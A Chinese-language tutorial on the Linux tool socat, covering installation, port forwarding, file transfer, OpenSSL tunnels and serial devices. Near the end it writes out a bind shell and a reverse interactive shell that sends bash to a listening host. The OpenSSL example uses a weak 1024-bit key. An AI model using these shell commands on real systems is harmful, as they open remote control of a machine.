Linux 网络工具——Socat 入门教程

Socat 是 Linux 下的一个多功能的网络工具，名字来由是「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似，可以看做是 Netcat 的加强版。

Socat 的主要特点就是在两个数据流之间建立通道，且支持众多协议和链接方式。如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等。

Socat 的官方网站：http://www.dest-unreach.org/socat/

Socat 安装

通过源码方式安装

wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz
tar zxf socat-1.7.3.2.tar.gz
cd socat-1.7.3.2
./configure
make
make install

通过包管理安装 (推荐)

# Centos
yum install -y socat

# Debian/Ubuntu
apt-get install -y socat

# macOS
brew install socat

Socat 基本语法

socat [options] <address> <address>

其中这 2 个 address 就是关键了，address 类似于一个文件描述符，Socat 所做的工作就是在 2 个 address 指定的描述符间建立一个 pipe 用于发送和接收数据。几个常用的 address 描述方式如下：

-,STDIN,STDOUT 表示标准输入输出，可以就用一个横杠代替。
/var/log/syslog 打开一个文件作为数据流，可以是任意路径。
TCP:: 建立一个 TCP 连接作为数据流，TCP 也可以替换为 UDP 。
TCP-LISTEN: 建立 一个 TCP 监听端口，TCP 也可以替换为 UDP。
EXEC: 执行一个程序作为数据流。

以上规则中前面的 TCP 等都可以小写，在这些描述后可以附加一些选项，用逗号隔开。如 fork，reuseaddr，stdin，stdout，ctty 等。

Socat 使用实例

文件操作

通过 Socat 读取文件

# 从绝对路径读取
socat - /var/www/html/flag.php

# 从相对路径读取
socat - ./flag.php

注:这里的路径一般是绝对路径，如果要使用相对路径记得要加上 ./ 。

写入文件

echo "This is Test" | socat - /tmp/hello.html

网络管理

连接远程端口

socat - TCP:192.168.1.252:3306

监听一个新端口

socat TCP-LISTEN:7000 -

端口转发
在实际生产中我们经常会遇到到一个场景就是，用一台机器作为转发服务器，连接 AB 两个网段，将转发服务器的某个端口上的流量转发到 B 网段的某台机器的某个端口，这样 A 网段的服务器就可以通过访问转发服务器上的端口访问到 B 网段的服务器端口。

这样的场景一般在和客户建立专线的连接时候经常用到，一般也可以采用 iptables 做转发，但是比较复杂。Socat 可以很轻松的完成这个功能，但是 Socat 不支持端口段转发，只适用于单端口或者少量端口。

转发 TCP
监听 192.168.1.252 网卡的 15672 端口，并将请求转发至 172.17.0.15 的 15672 端口。

socat  -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672

参数说明：

1. -d -d  前面两个连续的 -d -d 代表调试信息的输出级别。
2. -lf /var/log/socat.log 指定输出信息的文件保存位置。
3. TCP4-LISTEN:15672 在本地建立一个 TCP IPv4 协议的监听端口，也就是转发端口。这里是 15672，请根据实际情况改成你自己需要转发的端口。
4. bind 指定监听绑定的 IP 地址，不绑定的话将监听服务器上可用的全部 IP。
5. reuseaddr 绑定一个本地端口。
6. fork TCP4:172.17.0.15:15672 指的是要转发到的服务器 IP 和端口，这里是 172.17.0.15 的 15672 端口。

转发 UDP
转发 UDP 和 TCP 类似，只要把 TCP4 改成 UDP4 就行了。

socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123

NAT 映射
在一个 NAT 网络环境中，也是可以通过 Socat 将内部机器端口映射到公网上的。

在外部公网机器上执行

socat tcp-listen:1234 tcp-listen:3389

在内部私网机器上执行

socat tcp:outerhost:1234 tcp:192.168.1.34:3389

这样，你外部机器上的 3389 就映射在内网 192.168.1.34 的 3389 端口上了。不过这样场景下更推荐内网穿透神器 FRP。

文件传递

文件传送
将文件 demo.tar.gz 使用 2000 端口从 192.168.1.252 传到 192.168.1.253,文件传输完毕后会自动退出。

在 192.168.1.252 上执行

socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr

在 192.168.1.253 上执行

socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create

-u 表示数据传输模式为单向，从左面参数到右面参数。
-U 表示数据传输模式为单向，从右面参数到左面参数。

读写分流功能
Socat 具有一个独特的读写分流功能，比如：可以实现一个假的 Web Server，客户端连过来之后就把 read.html 里面的内容传过去，同时把客户端的数据保存到 write.txt 里面。

socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork

!! 符号用于合并读写流，前面的用于读，后面的用于写。由于 ! 在 Shell 中是特殊字符，所以这里在命令行中使用 \ 对其进行了转义。

其它功能

通过 Openssl 来加密传输过程
假设有一个服务器主机，地址为 server.domain.org。并且服务端程序使用 4433 端口。为了尽可能的简单，我们使用一个非常简单的服务功能，即服务端仅回显数据（echo），客户端只进行标准输入（stdio）。要进行 Openssl 加密数据传输，首先需要生成 Openssl 证书。

生成服务端的证书

# 为服务端的证书取一个基本的名字。
FILENAME=server

# 生成公钥私钥对。
openssl genrsa -out $FILENAME.key 1024

# 生成一个自签名的证书，会提示你输入国家代号、姓名等，或者按下回车键跳过输入提示。
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt

# 用刚生成的密钥文件和证书文件来生成PEM文件。
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

服务端证书生成完成后，复制信任证书 server.crt 到 SSL 客户端所在的主机上。

生成客户端证书

# 为客户端证书取一个不同的文件名
FILENAME=client

重复上述服务端生成证书的流程。然后复制 client.pem 到 SSL 客户端主机，复制 client.crt 到服务端主机。至此完成了证书交换，服务端有 server.pem、client.crt 两个文件，客户端有 client.pem 、server.crt 两个文件。

其次我们需要建立 Openssl 服务端，在服务端我们不再用 tcp-listen (tcp-l) ，而用 openssl-listen (ssl-l) 。cert 参数告诉 Socat 包含证书和私钥的文件，cafile 参数指向客户端的证书文件。如果客户端能提供相关联的私钥，我们则认为该连接是可靠的。

socat openssl-listen:4433,reuseaddr,cert=server.pem,cafile=client.crt echo

运行这个命令后，Socat 会在 4433 端口监听，并要求客户端进行身份验证。

最后在客户端建立一个加密的链接，用 openssl-connect 或者 ssl 替换你的 tcp-connect 或 tcp 地址关键字，然后添加 cert 和 cafile 选项。

socat stdio openssl-connect:server.domain.org:4433,cert=client.pem,cafile=server.crt
test
test

这个命令用来建立一个到服务程序的安全的连接。如果服务端和客户端成功建立连接后，会回显在客户端输入的内容。

建立一个正向 Shell

服务端

# 在服务端 7005 端口建立一个 Shell。
socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr

# 或者

socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr

客户端

# 连接到服务器的 7005 端口，即可获得一个 Shell。readline 是 GNU 的命令行编辑器，具有历史功能。
socat readline tcp:127.0.0.1:7005

反弹一个交互式的 Shell
当有主机连接服务端的 7005 端口时，将会发送客户端的 Shell 给服务端。

服务端

socat -,raw,echo=0 tcp-listen:7005

客户端

socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane

fork 服务
将一个使用标准输入输出的单进程程序变为一个使用 fork 方法的多进程服务，非常方便。

socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld

不同设备的通信
将 U 盘进行网络共享

socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr

将终端转发到串口

socat READLINE,/dev/ttyS0,raw,echo=0,crnl

让 Socat 后台运行
默认情况下 Socat 只在前台运行，如果要让 Socat 一直在后台运行，可以使用 nohup 命令来保证其在后台一直运行。

nohup socat  -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 &

除了 nohup 外，Linux 下让进程在后台运行的方法还很多，比如：screen、tmux 等。
在 Linux 中一切都是文件，无论是 Socket 还是其他设备。所以从理论上来说，一切能够在文件层级访问的内容都可以成为 Socat 的数据流的来源。2 个 address 可以任意发挥，能够做到的事情还有很多。这样比起来，Socket 的确比 Netcat 更加强大。

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